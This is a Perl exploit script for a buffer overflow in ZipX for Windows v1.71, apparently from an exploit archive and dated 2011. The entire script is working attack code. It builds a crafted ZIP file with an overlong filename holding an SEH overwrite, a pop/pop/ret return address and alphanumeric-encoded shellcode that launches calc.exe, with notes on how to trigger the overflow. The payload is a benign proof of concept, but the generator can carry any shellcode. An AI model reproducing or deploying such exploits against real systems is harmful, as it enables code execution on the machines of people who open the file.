#!/usr/bin/perl # #[+]Exploit Title: ZipX for Windows v1.71 ZIP File Buffer Overflow Exploit #[+]Date: 05\09\2011 #[+]Author: C4SS!0 G0M3S #[+]Software Link: http://download.cnet.com/ZipX/3000-2250_4-10518937.html #[+]Version: v1.71 #[+]Tested On: WIN-XP SP3 Brazilian Portuguese #[+]CVE: N/A # # #Reproduce: #Open the zip file, after click in "Encrypt", type you password and click in "Ok" BOOM!!! #See the calc.exe # use strict; use warnings; my $filename = "Exploit.zip"; print "\n\n\t\tZipX for Windows v1.71 ZIP File Buffer Overflow Exploit\n"; print "\t\tCreated by C4SS!0 G0M3S\n"; print "\t\tE-mail louredo_\@hotmail.com\n"; print "\t\tSite http://net-fuzzer.blogspot.com/\n\n"; sleep(1); print "\t\t[+]Creating ZIP File...\n"; sleep(1); my $head = "\x50\x4B\x03\x04\x14\x00\x00". "\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" . "\x00\x00\x00\x00\x00\x00\x00\x00" . "\xe4\x0f" . "\x00\x00\x00"; my $head2 = "\x50\x4B\x01\x02\x14\x00\x14". "\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" . "\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\xe4\x0f". "\x00\x00\x00\x00\x00\x00\x01\x00". "\x24\x00\x00\x00\x00\x00\x00\x00"; my $head3 = "\x50\x4B\x05\x06\x00\x00\x00". "\x00\x01\x00\x01\x00". "\x12\x10\x00\x00". "\x02\x10\x00\x00". "\x00\x00"; my $shellcode = "PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIHZXL9ID414ZTOKHI9LMUK" . "VPZ6QO9X1P26QPZTW5S1JR7LCTKN8BGR3RWS9JNYLK79ZZ165U2KKLC5RZGNNUC70NEPB9OUTQMXPNMM" . "PV261UKL71ME2NMP7FQY0NOHKPKZUDOZULDS8PQ02ZXM3TCZK47PQODJ8O52JNU0N72N28MZKLTNGU7Z" . # Shellcode WinExec "calc.exe" "UXDDXZSOMKL4SQKUNKMJPOOCRODCMDKR0PGQD0EYIRVMHUZJDOGTUV2WP3OIVQ1QJSLSKGBLYKOY7NWW" . # Alpha Numeric Shellcode BaseAddress EAX "LNG6LBOM5V6M0KF2NQDPMSL7XT80P61PBMTXYQDK5DMLYT231V649DZTPP26LWSQRLZLQK15XUXYUNP1" . "BPF4X6PZIVOTZPJJRUOCC3KD9L034LDOXX5KKXNJQMOLSJ6BCORL9WXQNKPUWNKRKJ8JSNS4YMMOHT3Z" . "QJOHQ4QJUQLN1VSLV5S1QYO0YA"; my $payload = "A" x 330; $payload .= ("\x66\x05\x4D\xCD" x 4). "\x66\x05\x19\x18". # ADD AX,1819 "\x54\x5A\x50\x5B". # PUSH ESP # POP EDX # PUSH EAX # POP EBX "\x2B\xE0". # Afer convertion SUB EDX,EBX "\x52\x58". # PUSH EDX # POP EAX "\x98\xd1"; # CALL EAX $payload .= "C" x (371-length($payload)); $payload .= "\x3C\x01\x75\xd1"; # Converted is that "\x3c\x04\x75\xd0" $payload .= pack('V',0x0041334d); # P/P/RET $payload .= $shellcode; $payload .= "B" x (4064-length($payload)); $payload = $payload.".rar"; my $zip = $head.$payload.$head2.$payload.$head3; open(FILE,">$filename") || die "\t\t[-]Error:\n$!\n"; print FILE $zip; close(FILE); print "\t\t[+] ZIP File Created With Sucess:)\n"; sleep(3);